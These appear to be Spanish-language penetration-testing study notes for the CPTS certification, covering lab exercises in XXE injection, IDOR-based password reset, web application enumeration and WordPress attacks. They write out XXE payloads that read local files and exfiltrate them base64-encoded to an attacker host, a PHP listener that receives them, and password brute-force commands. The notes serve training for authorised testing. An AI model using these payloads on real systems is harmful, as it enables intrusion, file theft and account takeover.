<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
![[Pasted image 20260724234102.png]]
![[Pasted image 20260724234109.png]]
Ejecucion remota de codigo con XXE
El metodo mas facil seria buscar las claves SSH o robar hashes de aplicaciones web basadas en Windows
Si no funciona podemos usar php://expect aunque requiere que expect este instalado y habilitado
Podemos probar con un basico:
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://id">
]>
Y ver si se muestra por pantalla
Si funciona podemos subir un webshell a un webserver en python y desde la peticion hacer referencia a nuestro archivo externo:
![[Pasted image 20260724234514.png]]
![[Pasted image 20260724234557.png]]
Los especion --> $IFS
Caracteres como |,> o { pueden romper el XML, evitar
Visitamos shell.php
Otros ataques XXE
SSRF –> Falsificacion de solicitudes del lado del servidor
Este se usa para enumerar puertos abiertos localmente y acceder a sus paginas entre otras paginas web restringidas
Un uso comun es causar DoS al servidor web con el siguiente payload:
![[Pasted image 20260724235104.png]]
Este payload define la entidad a0 como DOS, la referencia varias veces en a1, referencia a1 en a2, y así sucesivamente
Ejemplo practico
Trata de leer el contenido de connection.php y sube la api_key
- Visitamos la pagina web, rellenamos el formulario recogemos la solicitud HTTP con Burp que enviaremos al Repeater
![[Pasted image 20260724235339.png]]
![[Pasted image 20260724235350.png]]
- Sin modificar nada la enviamos y vemos como se muestra el contenido de email
![[Pasted image 20260724235407.png]]
- Creamos una entidad cualquiera para ver si es vuln a XXE
![[Pasted image 20260724235532.png]]
- Obtenemos el base64 del archivo y el propio burp nos lo traduce donde encontramos la api_key
![[Pasted image 20260724235701.png]]
![[Pasted image 20260724235715.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 4. Xml External Entity Xxe Injection
3. Exfiltracion Avanzada De Archivos
Algunos formatos de archivos pueden no ser legibles a traves de XXE basico mientras otros casos la aplicacion web puede no mostrar ningun valor de entrada en algunas instancias por lo que podemos intentar forzarlo a traves de errores
Exfiltracion avanzada con CDATA
Vimos como pudimos usar filtros PHP para codificar archivos de codigo fuente PHP para que no rompiera el formato XML
Para mostrar otros archivos que no se ajustan al formato XML podemos envolver el contenido de la referencia con la etiqueta <![CDATA[CONTENIDO]]>
Esto lo haremos de la siguiente forma:
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php"> --> EXTERNO
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;"> --> INTERNO
]>
Y tendremos que referenciar &joined;
Pero esto NO FUNCIONARA porque XML no permite unir entidades internas y externas
Para eludirlo usaremos Entidades de Parametro XML como % haciendo que todas ellas se consideren externas:
<!ENTITY joined "%begin;%file;%end;">
EJEMPLO LEYENDO UN ARCHIVO INTENRO
- Creamos el DTD externo que sustituira a la ENITITY interna
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
![[Pasted image 20260725001057.png]]
- Creamos las ENTIDADES usando CDATA y haciendo que todas sean externas. Llamaremos a xxe para poder referenciar a la ENITITY joined que esta dentro del archivo xee
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
%xxe;
]>
...
<email>&joined;</email>
![[Pasted image 20260725001204.png]]
![[Pasted image 20260725001315.png]]
En algunos servidores web modernos, es posible que no podamos leer algunos archivos (como index.php), ya que el servidor web estaría previniendo un ataque DoS causado por la autorreferencia de archivos/entidades
XXE Basado en Errores
Podria ser que la aplicacion no diera ninguna salida por lo que no podemos controlar ninguna ENITITY de la entrada XML
Si la aplicacion web muestra errores en tiempo de ejecucion (como errores PHP) y no tiene un manejo de excepciones adecuado para la entrada XML, podemos usarlo para leer en la salida del error el XXE
Vamos a ir al directorio /error para probarlo. Ninguna de las entidades se muestra por pantalla
Si mandamos datos malformados vemos que la web muestra un mensaje de error. Para ello hemos borrado previamente una etiqueta como <root> o referenciamos una entidad inexistente
![[Pasted image 20260725001752.png]]
Generamos un error que dio como salida el webroot que podemos usar para leer el cofigo fuente
- Alojamos un DTD en nuestra maquina atacante que nos permita leer un archivo local
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
Debido al %nonExistingEntity la pagina web lanzara un error diciendo que esta entidad no existe, junto con nuestro %file; unido como parte del error
- Llamamos a nuestro DTD y luego referenciamos la entidad error:
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%error;
]>
...
&error;
![[Pasted image 20260725002154.png]]![[Pasted image 20260725002207.png]]
Este método también puede usarse para leer el código fuente de los archivos:
file:///var/www/html/submitDetails.php
Ejemplo practico
Puedes usar ambos para leer /flag.php
- Visitamos la pagina web normal, interceptamos la solicitud, la mandamos al repeater
![[Pasted image 20260725004021.png]]
![[Pasted image 20260725004106.png]]
- Desde el repeater primero la enviamos normal y vemos que se muestra en la respuesta la entrada de email
![[Pasted image 20260725004137.png]]
- Usamos CDATA con entidades externas para leer /flag.php
![[Pasted image 20260725004450.png]]
![[Pasted image 20260725003749.png]]
- Lo enviamos y obtenemos la flag
![[Pasted image 20260725004502.png]]
- Visitamos la pagina web en /error, interceptamos la solicitud y la mandamos al repeater
![[Pasted image 20260725004714.png]]
![[Pasted image 20260725003212.png]]
- La enviamos normal y vemos que no se muestra en la respuesta ninguna de las entradas
![[Pasted image 20260725004754.png]]
- Creamos entidades externas para que se ejecuten errores y al ejecutar se muestre el contendio de flag.php
![[Pasted image 20260725005145.png]]![[Pasted image 20260725005153.png]]
- Lo enviamos y obtenemos la flag
![[Pasted image 20260725005216.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 4. Xml External Entity Xxe Injection
4. Exfiltracion De Datos A Ciegas
En la seccion anterior vimos como la respuesta no mostraba ninguna de las entradas pero si mostraba errores y aprovechamos eso
Ahora veremos situaciones completamente a ciegas
Exfiltracion de datos fuera de banda
Ahora iremos a /blind dentro de la pagina web donde no funcionaran ninguno de los metodos anteriores
Esto se debe a que no tenemos forma de que se imprima ninguno
Antes estabamos usando un ataque fuera de banda al alojar el DTD en nuestra Kali de forma externa. Este ataque sera similar solo que pediremos al webserver que en vez de mostrar la entidad file en un XML especifico, lo mande a nuestra maquina kali externa mediante una solicitud web
- Montamos una entidad para el contenido del archivo que estamos leyendo usando el PHP Filter para codificarlo en base64 y crearemos otra entidad que se referira a nuestra IP donde se alojara file como parte de la URL en un parametro GET:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
- Creamos un script sencillo en PHP para que decodifique directamente el base64 cuando llegue y levantamos el listener:
<?php if(isset($_GET['content'])){ error_log("\n\n" . base64_decode($_GET['content'])); } ?>
vi index.php
php -S 0.0.0.0:8000
![[Pasted image 20260725010300.png]]
- Usamos un payload parecido al basado en errores donde añadimos &content; como referencia
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
...
&content;
![[Pasted image 20260725010359.png]]
![[Pasted image 20260725010408.png]]
- Obtendremos el archivo directamente decodificado
![[Pasted image 20260725010430.png]]
![[Pasted image 20260725010503.png]]
Exfiltracion OOB automatizada
Podemos automatizar el proceso de exfiltracion a ciegas usando XXEinjector
Soporta la mayoria de trucos como XXE basico, exfiltracion con CDATA, XXE basado en errores y XXE OOB
git clone https://github.com/enjoiz/XXEinjector.git
Uso
Para usarla copiamos la solicitud HTTP desde burp en un archivo que usara la herrmienta. Solo necesitamos hasta la Declaracion XML y despues poner XXEINJECT
![[Pasted image 20260725010747.png]]
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
![[Pasted image 20260725010846.png]]
Vemos que no imprimio los datos directamente y se debe a que lo estamos codificando en BASE64. Podemos leer los logs para ver el archivo exfiltrado
cat Logs/10.129.201.94/etc/passwd.log
![[Pasted image 20260725010935.png]]
Ejemplo practico
Usa la exfiltracion de datos a ciegas en /blind para leer el contenido de:
- /327a6c4304ad5938eaf0efb6cc3e53dc.php
- Visitamos la pagina web en /blind, interceptamos la solicitud HTTP y la enviamos al repeater
![[Pasted image 20260725011132.png]]![[Pasted image 20260725011140.png]]
- La enviamos tal cual y vemos que en la respuesta no se muestra ninguna de las entradas del XML. Si ponemos una referencia mal tampoco salen errores
![[Pasted image 20260725011151.png]]![[Pasted image 20260725011209.png]]
- Preparamos el xxe.dtd y el index.php para realizar el ataque blind y levantamos el listener php
![[Pasted image 20260725011922.png]]
- Ponemos el payload XXE en el XML que hara referencia al xxe.dtd externo alojado en nuestra kali
![[Pasted image 20260725011939.png]]
- Al enviarlo recibiremos el contenido en BASE64 como parte del parametro GET en la URL y se decodificara automaticamente
![[Pasted image 20260725011950.png]]
CPTS
3. Explotacion WEB / 10. Webapps / 5. Skill Assessment
1. Skill Assessment
Nos encargan probar la ultima compilacion (build) de su aplicacion web de red social. Intenta diversas tecnicas
CREDENCIALES:
- htb-student:Academy_student!
Trata de escalar privs y obtener /flag.php
- Nos loguamos con las credenciales que tenemos y vemos una aplicacion de red social con calendario
![[Pasted image 20260725124404.png]]
![[Pasted image 20260725124331.png]]
- Probando todo un poco solo funciona Settings y Profile.
- Si vamos a Settings y primero leemos el codigo fuente vermos un JS
![[Pasted image 20260725125210.png]]
Vemos esto interesante:
![[Pasted image 20260725125313.png]]
Si la new password y la confirm password coinciden llamara a /api.php/token/uid(de la cookie) a traves del metodo get
![[Pasted image 20260725125459.png]]
![[Pasted image 20260725130807.png]]
Tras esto usa la respuesta y la convierte en un json que envia a /reset.php a traves de un metodo POST al que le cambia el Content Type al del POST poniendo en su data –> uid=uid+token+pass
Por ultimo devuelve el texto res
- Encenmos el burp y le damos a change password para obtener la solicitud HTTP tanto hacia la API como hacia /reset.php. Ambas las mandaremos al Repeater para trabajar con ellas.
A las que tenemos en el proxy le daremos forward para ver que pasaria en esta situacion y vemos que se cambia la contraseña correctamente para nuestro usuario actual
![[Pasted image 20260725131256.png]]
![[Pasted image 20260725131349.png]]
![[Pasted image 20260725131356.png]]
![[Pasted image 20260725131415.png]]
- Desde el repeater le damos a enviar a la peticion de la API y vemos que nos devuelve el token asociado al usuario con UID 74 que sale tanto en la URL como en el parametro de la cookie. Si cambiamos ambos a otro nos da otro token para el usuario con ese UID
![[Pasted image 20260725132448.png]]
![[Pasted image 20260725211122.png]]
- Probamos a usar ese token nuevo para cambiar la credencial del usuario con UID 1 pero nos dice que acceso denegado. Probamos a cambiar el metodo a GET para ver si funciona y efectivamente funcion
![[Pasted image 20260725211152.png]]![[Pasted image 20260725211208.png]]
- Ya sabiendo como cambiar contraseñas ahora tenemos que ver como conseguimos los nombres de los usuarios. Si camos a profile.php y vemos el codigo fuente veremos otro JS el cual usa otra API a la que le passa el UID para devolverele la pagina relacionada a ese usuario
![[Pasted image 20260725211315.png]]
![[Pasted image 20260725211243.png]]
- Si obtenemos la solicitud HTTP de visitar profile.php, la enviamos al repeater y la enviamos, veremos que obtenemos la informacion de los usuarios en JSON
![[Pasted image 20260725211407.png]]
![[Pasted image 20260725211820.png]]
- Esta misma solicitud la pasamos al Intruder y hacemos fuzzing tanto en la URL como en el UID de la cookie. Ademas ponemos un grep para que nos salte la coincidencia de las respuestas que contengan alguna palabra relacionada con admin. El UID 52 es el admin
![[Pasted image 20260725212149.png]]
![[Pasted image 20260725212012.png]]
![[Pasted image 20260725212320.png]]
- Una vez sabido esto y viendo su username en el JSON ahora le cambiamos la contraseña usando el token que obtenemos como hicimos anteriormente con la API de /api.php/token y cambiando el UID + token en la URL de reset.php le cambiamos la contraseña (como hicimos antes pero ahora con el 52)
![[Pasted image 20260725212358.png]]![[Pasted image 20260725212520.png]]
- Ahora nos logueamos como el usuario 52 con la contraseña que le pusimos y vemos una nueva funcionalidad de add event
![[Pasted image 20260725212645.png]]![[Pasted image 20260725212702.png]]
- Obtenemos la solicitud HTTP y vemos que envia los datos por XML. Lo mandamos al repeater
![[Pasted image 20260725212826.png]]
![[Pasted image 20260725212845.png]]
- Si lo enviamos tal cual vemos que se imprime el <name> en la respuesta. Asi que lo usaremos para un ataque XXE de lectura de archivos locales en BASE64 ya que es PHP que puede romper el XML
![[Pasted image 20260725212944.png]]
![[Pasted image 20260725213202.png]]![[Pasted image 20260725213209.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 1. Introduccion Al Ataque De Aplicaciones Comunes
1. Introduccion
Nos encontraremos muchos CMS diferentes (Sistemas de gestion de contenido), aplicaciones web personalizadas, portales intranet, herramientas de monitoreo de red…
Necestiamos tener una buena base de enumeracion y ataque de aplicaciones comunes
Las aplicaciones web suelen adoptar una arquitectura cliente-servidor para funcionar y gestionar las interacciones. Normalmente se componen de un front y un backend
Categorias de aplicaciones web
![[Pasted image 20260726124108.png]]
Aplicaciones comunes
![[Pasted image 20260726124208.png]]![[Pasted image 20260726124216.png]]
Objetivo del modulo
Usaremos Vhosts para simular un entorno grande y realista con multiples servidores web
Dado que los vhosts se mapean en un directorio diferente en el mismo host tendremos que ir añadiendo entradas a /etc/hosts
- Añadir entradas rapidamente a /etc/hosts
IP=IP_host
print "%s\t%s\n\n" "$IP" "sub1.domain.local sub2.domain.local sub3.domain.local" | sudo tee -a /etc/hosts
cat /etc/hosts
![[Pasted image 20260726124605.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 1. Introduccion Al Ataque De Aplicaciones Comunes
2. Descubrimiento Y Enumeracion De Aplicaciones
Ciertas aplicaciones tienen portales administrativos que pueden restringirse para que solo sean accesibles desde direcciones IP específicas o desde el propio host (localhost)
La realidad es que muchas organizaciones no conocen todo lo que hay en su red, y algunas organizaciones tienen muy poca visibilidad
Nmap - Descubrimiento web
sudo nmap -Pn -sS --open -p 80,443,8000,8080,8180,8888,10000 -oA web_directory -iL ip_list
![[Pasted image 20260726125034.png]]
Revisar los datos de la enumeracion manualmente llevaria mucho tiempo
Usaremos herramientas para ayudarnos a revisar esta enumeracion:
Ambas se alimentan con la salida XML del nmap. Estas aplicaciones revisaran las paginas y haran capturas de pantalla que meteran en un informe para ayudarnos a saber cuales estan activas y demas
Con esto podemos construir una lista mas especifica de que aplicaciones dedicar mas tiempo y enumerar para atacar
Organizarse
Primero dividimos un Obsidian en las siguientes carpetas:
Alcance (incluyendo direcciones/rangos IP dentro del alcance, URLs, cualquier host frágil, plazos de prueba y cualquier limitación u otra información relativa que necesitemos tener a mano)
Puntos de Contacto del Cliente
Credenciales
Descubrimiento/Enumeración
Descubrimiento de Aplicaciones
Escaneos
Hosts Interesantes/Notables
Explotación
<Nombre de host o IP>
<Nombre de host o IP>
Postexplotación
<Nombre de host o IP>
<Nombre de host o IP
En:
- Descubrimiento de aplicaciones
- Enumeracion
- Descubrimiento
Aqui creariamos subsecciones para escaneos Nmap, Nessus, capturas de pantalla de las aplicaciones y los hosts interesantes que deberiamos investigar mas a fondo
Es importante registrar el date de cada escaneo y guardar toda la evidencia
Enumeracion inicial
![[Pasted image 20260726130234.png]]
- Ejecutamos un escaneo nmap que guardaremos con salida xml
- Ejecutaremos EyeWitness o Aquatone (o ambos)
- Mientras revisamos el informe ejecutamos un esceno nmap mas exhaustivo
- Volveremos a ejecutar EyeWitness o Aquatone contra este nuevo escaneo
- Podriamos ejecutar un Nessus
Enumeracion
![[Pasted image 20260726130929.png]]
![[Pasted image 20260726131041.png]]
En esta salida podemos ver como varios hosts ejecutan servidores en varios puertos. Tambien podemos deducir que hay uno Windows y lo demas Linux (fijemonos tambien en los hostnames)
Debemos poner atencion a los .dev porque suelen ejecutar caracterisiticas no probadas o tener modo depuracion habilitado (o cosas asi)
Podemos tras esta primera deteccion enumerar mas a fondo y ver las tecnologias que ejecutan y guardar en una lista por orden los subdominios que parecen mas interesantes:
![[Pasted image 20260726131410.png]]
Aqui podemos ver como se esta ejecutando Splunk
EyeWitness
Puede tomar la salida XML tanto de Nmap como de Nessus para crear un informe de capturas de pantalla de cada aplicacion web presente
Tambien categorizara las aplicaciones cuando sea posible, hara footprinting y sugerira credenciales default
sudo apt install eyewitness
![[Pasted image 20260726131854.png]]![[Pasted image 20260726131909.png]]
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
![[Pasted image 20260726132002.png]]
Aquatone
Aquatone es similar a Eyewitness y puede tomar capturas de pantalla cuando se le proporciona un .txt de hosts o un .xml de Nmap
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip
Lo movemos a uno de los directorios de $PATH para que se pueda ejecutar desde cualquier directorio
![[Pasted image 20260726132251.png]]
mv aquatone /usr/local/bin
cat web_discovery.xml | ./aquatone -nmap
![[Pasted image 20260726132348.png]]
Interpretando resultados
Al abrir el informe que nos ha creado vemos que esta organizado en diferentes categorias:
- Objetivos de alto valor (es la primera y el mas jugoso)
![[Pasted image 20260726133253.png]]
Como primer objetivo vemos un Apache del que podemos proabrar su credenciales default en endopoints como /manager o /host-manager y tras esto subir un WAR para conseguir RCE
Si seguimos bajando parece que la web principal (http://inlanefreight.local) es el siguiente objetivo. Aqui nos interesa saber que CMS (si lo tiene) esta ejecutando
![[Pasted image 20260726133533.png]]
La siguiente aplicacion que aparece es http://support-dev.inlanefreight.local que parece interesante porque parece que esta ejecutando osTicket que ha sufrido vulns
![[Pasted image 20260726133705.png]]
Iremos anotando los hosts interesantes, con la URL, nombre. version y una captura para mas adelante
Estamos en fase de recopilacion de informacion y comenzar a atacar nos podria dejar en un callejon sin salida y perdernos info
Ejemplo practico
vHosts needed for these questions:
app.inlanefreight.local dev.inlanefreight.local drupal-dev.inlanefreight.local drupal-qa.inlanefreight.local drupal-acc.inlanefreight.local drupal.inlanefreight.local blog.inlanefreight.local
Usa lo aprendido para generar un reporte con EyeWitness. Cual es el nombre del archivo .db de EyeWitness creado en el archivo inlanefreight_witness
Cual es el titulo del header al abrir el .html del reporte de Aquatone en un navegador
- Creamos directorio donde meter nuestra recopilacion
![[Pasted image 20260726134658.png]]
- Metemos en /etc/hosts las apliaciones
![[Pasted image 20260726134848.png]]
- Miramos a ver si ha funcionado el /etc/hosts
![[Pasted image 20260726134917.png]]
- Creamos una lista para pasarsela a nmap
![[Pasted image 20260726135121.png]]
- Creamos un directorio para los archivos nmap y hacemos un escaneo de puertos abiertos y de versiones que guardaremos en todos los formatos. Nos interesa el XML
![[Pasted image 20260726135258.png]]
- Usamos EyeWitness para que saque capturas, informacion, nos los clasifique y nos diga posibles credenciales default
![[Pasted image 20260726135539.png]]![[Pasted image 20260726135555.png]]
- Lo abrimos y encontraremos las aplicaciones con su informacion
![[Pasted image 20260726135606.png]]![[Pasted image 20260726135629.png]]![[Pasted image 20260726135639.png]]
Tambien podemos usar aquatone
![[Pasted image 20260726135823.png]]![[Pasted image 20260726135832.png]]
![[Pasted image 20260726135937.png]]![[Pasted image 20260726135955.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 1. Introduccion Al Ataque De Aplicaciones Comunes
3. Pasos Para Enum Y Reco De Info En Appweb
- Creamos directorio donde meter nuestra recopilacion
![[Pasted image 20260726134658.png]]
![[Pasted image 20260726140745.png]]
- Metemos en /etc/hosts las apliaciones
IP=IP_host
print "%s\t%s\n\n" "$IP" "sub1.domain.local sub2.domain.local sub3.domain.local" | sudo tee -a /etc/hosts
cat /etc/hosts
![[Pasted image 20260726134848.png]]
- Miramos a ver si ha funcionado el /etc/hosts
![[Pasted image 20260726134917.png]]
- Creamos una lista para pasarsela a nmap
cd nmap/
nano list.txt
![[Pasted image 20260726135121.png]]
- Creamos un directorio para los archivos nmap y hacemos un escaneo de puertos abiertos y de versiones que guardaremos en todos los formatos. Nos interesa el XML
sudo nmap -Pn -sS -sV --open -oA webnamp -iL list.txt
![[Pasted image 20260726135258.png]]
- Usamos EyeWitness para que saque capturas, informacion, nos los clasifique y nos diga posibles credenciales default
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
![[Pasted image 20260726135539.png]]![[Pasted image 20260726135555.png]]
- Lo abrimos y encontraremos las aplicaciones con su informacion
![[Pasted image 20260726135606.png]]![[Pasted image 20260726135629.png]]![[Pasted image 20260726135639.png]]
- Tendremos creadas en Obsidian las siguientes carpetas:
Alcance (incluyendo direcciones/rangos IP dentro del alcance, URLs, cualquier host frágil, plazos de prueba y cualquier limitación u otra información relativa que necesitemos tener a mano)
Puntos de Contacto del Cliente
Credenciales
Descubrimiento/Enumeración
Descubrimiento de Aplicaciones
Escaneos
Hosts Interesantes/Notables
Explotación
<Nombre de host o IP>
<Nombre de host o IP>
Postexplotación
<Nombre de host o IP>
<Nombre de host o IP
En:
- Descubrimiento de aplicaciones
- Enumeracion –> subsecciones para escaneos Nmap, Nessus…
- Descubrimiento –> carpetas por criticidad o prioridad con los hosts, con la URL, nombre, version, una captura… para mas adelante
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 1. Wordpress
1. Wp Discovery Y Enumeration
WordPress es un CMS de codigo abierto que se usa para multiples propositos (alojar blogs, foros…)
Suele ser vulnreable a traves de temas y plugins. Suele estar escrito en PHP y usar Apache + MySQL
- Una forma rapida suele ser mirar /robots.txt donde habra rutas de wp:
![[Pasted image 20260726154429.png]]
La presencia de /wp-admin y /wp-content es una señal inequivoca de WP
- Podemos navegar a /wp-admin a ver si existe. Este nos redigira a wp-login.php que es el portal de inicio de sesion de WP:
![[Pasted image 20260726154520.png]]
- WP almacena los plugins en /wp-content/plugins y los temas en /wp-content/themes. Estos pueden ser vulnerables y llevar a RCE
Tipos de usuarios en WP
Hay 5 tipos:
- Administrator: tiene acceso a funciones adminsitrativas dentro del sitio web. Añadir y eliminar usuarios y publicaciones, editar codigo fuente…
- Editor: puede publicar y gestionar publicaciones incluidas la de otros usuarios
- Autor: puede publicar y gestionar sus propias publicaciones
- Colaborador: el usuario puede escribir y gestionar sus publicaciones pero no puede publicarlas
- Suscriptor: usuario estandar que puede navegar por las publicaciones y editar sus perfiles
Enumeracion
- Usar curl para obtener el codigo feunte y buscar coincidencias con WP. Aqui podremos conseguir a veces la version de WP
curl -s "http://..." | grep WordPress
![[Pasted image 20260726154955.png]]
- Navegar manualmente por el sitio web y codigo fuente para obtener:
- Nombres de temas y plugins
- Nombres de usuarios que podrian ser nombres de Autors que publican entradas
Filtrar por temas y plugins:
- En este ejemplo de temas vemos un tema llamado Business Gravity ubicado en /wp-content/themes/… del cual podriamos sacar la version y buscar vulns
curl -s "http://..." | grep themes
![[Pasted image 20260726155236.png]]
- En este ejemplo de plugins vemos varios como Contact Form 7 y mail-masta. Tambien podriamos intentar buscar las versiones para buscar vulns
curl -s "http://..." | grep plugins
![[Pasted image 20260726155401.png]]
Si navegamos hacia http://blog.inlanefreight.local/wp-content/plugins/mail-masta/ vemos que el listado de archivos esta habilitado y vemos un readme.txt. Al leerlo vemos que la version instalada es 1.0.0 que sufre una vuln de LFI
Otro plugin que sale en el codigo fuente es wpDiscuz que parece tener instalado la version 7.0.4 el cual sufre de una vuln de RCE
![[Pasted image 20260726155658.png]]
Enumerando usuarios
Si vamos a /wp-login.php veremos un panel de inicio de sesion
Si introducimos una contraseña incorrecta veremos un mensaje de error:
![[Pasted image 20260726155859.png]]
Y si ponemos un nombre de usuario incorrecto nos dara otro error:
![[Pasted image 20260726155918.png]]
Esto hace que WordPress sea vulnerable a la enumeración de nombres de usuario. admin entonces existe
WPScan
WPScan es un escaner y herramienta de enumeracion automatizada de WP
Nos mostrara los diversos temas y plugins desactualizados o son vulnerables instalados en el CMS
sudo gem install wpscan
wpscan -h
![[Pasted image 20260726160418.png]]
sudo wpscan --url URL --enumerate -t N
![[Pasted image 20260726160452.png]]
Mostro varios hallazgos como:
- Versión 5.8 del núcleo de WordPress y listado de directorios habilitado
- Transport Gravity, que es un tema hijo de Business Gravity
- Descubrió otro nombre de usuario (john)
Pero:
- Pasó por alto los plugins wpDiscuz y Contact Form 7
Datos recopilados que deberiamos apuntar
- El sitio está ejecutando la versión 5.8 del núcleo de WordPress, que sufre de algunas vulnerabilidades que no parecen interesantes en este momento.
- El tema instalado es Transport Gravity.
- Se utilizan los siguientes plugins: Contact Form 7, mail-masta, wpDiscuz.
- La versión de wpDiscuz es 7.0.4, que sufre de una vulnerabilidad de ejecución remota de código no autenticada.
- La versión de mail-masta es 1.0.0, que sufre de una vulnerabilidad de Inclusión de Archivos Locales, así como de inyección SQL (SQL injection).
- El sitio de WordPress es vulnerable a la enumeración de usuarios, y se confirma que los usuarios
admin y john son usuarios válidos.
- El listado de directorios está habilitado en todo el sitio, lo que puede llevar a una exposición de datos sensibles.
- XML-RPC está habilitado, lo que puede ser aprovechado para realizar un ataque de fuerza bruta de contraseñas contra la página de inicio de sesión utilizando WPScan, Metasploit, etc.
Ejemplo practico
Enumera el host para encontrar flag.txt en un directorio accesible
Realiza una enumeracion manual para descubir el plugin instalado (3 palabras)
Encuentra la version del plugin
NOTAS QUE VAMOS ENCONTRANDO:
- Version WP: 5.8
- Temas: Buisness Gravity y Transport Gravity (v 1.0.0)
- Plugins: Contact Form 7 (v 5.4.2), mail masta (v 5.8) y WP Sitemap Page (1.6.4)
- XML-RPC activado
- Usuarios: admin y doug
- Visitamos la pagina web y echamos un vistazo rapido donde pudimos ver que estaba impulsada por Buisness Gravity Theme
![[Pasted image 20260726161045.png]]
![[Pasted image 20260726163541.png]]
- Tras esto empezamos a mirar en el codigo fuente por info de versiones WP, themes y plugins
- Version WP: 5.8
- Temas: Buisness Gravity y Transport Gravity (v 1.0.0)
- Plugins: Contact Form 7 (v 5.4.2), mail masta (v 5.8)
![[Pasted image 20260726161123.png]]![[Pasted image 20260726161147.png]]
- Usamos la aplicacion y al usar el search vimos que nos redirigia a otra pagina a la cual tambien revisamos manualmente y miramos el codigo pero no encontramos nada mas interesante
![[Pasted image 20260726162624.png]]
![[Pasted image 20260726162642.png]]
![[Pasted image 20260726162710.png]]
- Desde la pagina principal y siguiendo el uso, miramos la publicacion y tambien nos cambio de pagina. Echamos un vistazo a la pagina web donde encontramos que ahora estaba impulsada por WP Sitemap Page
![[Pasted image 20260726162722.png]]
![[Pasted image 20260726163828.png]]
- Mirando el codigo fuente vimos que se trataba de un plugin y para conecer su version visitamos /wp-content/plugins/wp-sitemap-page/readme.txt
![[Pasted image 20260726162828.png]]
![[Pasted image 20260726163345.png]]
- Tambien visitamos /wp-admin y vimos que dependiendo de si los campos estan vacios, el usuario es incorrecto o la contraseña es incorrecta va dando diferentes mensajes por lo que deducimos que admin existia
![[Pasted image 20260726161421.png]]![[Pasted image 20260726161444.png]]![[Pasted image 20260726161457.png]]
- Por ultimo usamos wpscan que encontro mas informacion util como la activacion de XML-RPC u otros usuarios. Tambien se salto alguna informacion importante
![[Pasted image 20260726161821.png]]
![[Pasted image 20260726161833.png]]
![[Pasted image 20260726161850.png]]
![[Pasted image 20260726161955.png]]![[Pasted image 20260726162002.png]]![[Pasted image 20260726162020.png]]
![[Pasted image 20260726162032.png]]
![[Pasted image 20260726162052.png]]
![[Pasted image 20260726162328.png]]![[Pasted image 20260726162336.png]]
![[Pasted image 20260726162403.png]]
![[Pasted image 20260726162427.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 1. Wordpress
2. Atacando Wp
Hemos confirmado lo siguiente:
NOTAS QUE VAMOS ENCONTRANDO:
- Version WP: 5.8
- Temas: Buisness Gravity y Transport Gravity (v 1.0.0)
- Plugins: Contact Form 7 (v 5.4.2), mail masta (v 5.8) y WP Sitemap Page (1.6.4)
- XML-RPC activado
- Usuarios: admin y doug
Fuerza bruta de inicio de sesion
Con WPScan vimos que XML-RPC estaba activado lo que nos permite hacer fuerza bruta. Ademas encontramos a los usuario admin y doug
WPScan tiene varios metodos de fuerza bruta:
- wp-login: intenta forzar el inicio de sesion estandar de WP
- xmlrpc: usa una API de WP para realizar intentos de inicio de sesion atraves de /xmlrpc.php (es mas rapido)
sudo wpscan --password-attack xmlrpc -t 20 -U USER -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
![[Pasted image 20260726164509.png]]
Se encontro para john:firebird1
Ejecucion de codigo
Con acceso administrativo a WP podemos modificar el codigo fuente PHP para ejecutar comandos en el sistema
Si nos registramos en el panel de login entraremos a un panel de administracion
Apparance > Theme Editor
Aqui podemos modificar el codigo PHP directamente. Se puede seleccionar un tema innactivo para evitar corromper el tema principal (en este caso Transport Gravity). Eligiremos Twenty Nineteen
Select > Editamos 404.php > añadimos un webshell PHP
![[Pasted image 20260726165109.png]]
Update file (parte inferior) > /wp-content/themes/tweentynineteen/404.php?cmd=COMANDO
![[Pasted image 20260726165222.png]]
Otra opcion es usar el modulo MSF (wp_admin_shell_upload). Sube un shell malicioso y obtenemos un Meterpreter:
![[Pasted image 20260726165327.png]]![[Pasted image 20260726165348.png]]
Como vemos MSF sube wCoUuUPfIO.php a /wp-content/plugins y luego lo borra. Debemos borrar todos los artefactos que subamos para tener limpio el sistema
En nuestro informe deberemos de tener un apendice con:
- Sistemas explotados (hostname/IP y método de explotación)
- Usuarios comprometidos (nombre de cuenta, método de compromiso, tipo de cuenta (local o de dominio))
- Artefactos creados en los sistemas
- Cambios (como añadir un usuario administrador local o modificar la pertenencia a un grupo)
Aprovechando vulns concocidas
![[Pasted image 20260726165918.png]]
Plugins vulns -> mail-masta
